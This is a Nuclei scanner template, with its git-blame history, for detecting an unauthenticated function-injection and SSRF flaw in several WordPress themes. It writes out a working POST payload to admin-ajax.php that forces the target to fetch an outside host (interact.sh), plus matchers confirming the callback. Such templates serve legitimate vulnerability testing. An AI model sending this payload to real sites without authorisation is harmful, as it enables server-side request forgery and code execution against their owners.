nuclei-templates/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml

id: wp-multiple-theme-ssrf

info:
  name: WordPress Multiple Themes - Unauthenticated Function Injection
  author: madrobot
  severity: high
  reference:
    - https://www.exploit-db.com/exploits/49327
    - https://wpscan.com/vulnerability/10417
  tags: wordpress,rce,ssrf

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=http://interact.sh

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Interactsh Server"
          - "protocol_version"

      - type: status
        status:
          - 200
misc changes 2021-06-28 18:28:31 +00:00			`id: wp-multiple-theme-ssrf`

Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00			`info:`
misc changes 2021-06-28 18:28:31 +00:00			`name: WordPress Multiple Themes - Unauthenticated Function Injection`
Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00			`author: madrobot`
			`severity: high`
misc update 2021-09-12 11:40:52 +00:00			`reference:`
References 2021-09-12 09:58:43 +00:00			`- https://www.exploit-db.com/exploits/49327`
			`- https://wpscan.com/vulnerability/10417`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: wordpress,rce,ssrf`
Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00
			`requests:`
			`- raw:`
			`- \|`
			`POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1`
			`Host: {{Hostname}}`
			`Content-Type: application/x-www-form-urlencoded; charset=UTF-8`

Fixed possible FPs in open redirect templates (#4544) * Fixed possible FPs in open redirect templates We have replaced example.com with interact.sh since few domains redirect to example.com, which results in FP results. * updated example domain Co-authored-by: sandeep <sandeep@projectdiscovery.io> 2022-06-06 10:40:15 +00:00			`action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=http://interact.sh`
Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
Fixed possible FPs in open redirect templates (#4544) * Fixed possible FPs in open redirect templates We have replaced example.com with interact.sh since few domains redirect to example.com, which results in FP results. * updated example domain Co-authored-by: sandeep <sandeep@projectdiscovery.io> 2022-06-06 10:40:15 +00:00			`part: body`
Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00			`words:`
Fixed possible FPs in open redirect templates (#4544) * Fixed possible FPs in open redirect templates We have replaced example.com with interact.sh since few domains redirect to example.com, which results in FP results. * updated example domain Co-authored-by: sandeep <sandeep@projectdiscovery.io> 2022-06-06 10:40:15 +00:00			`- "Interactsh Server"`
Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00			`- "protocol_version"`
misc changes 2021-06-28 18:28:31 +00:00
Create multiple-theme-ssrf.yaml 2021-06-26 08:08:26 +00:00			`- type: status`
			`status:`
			`- 200`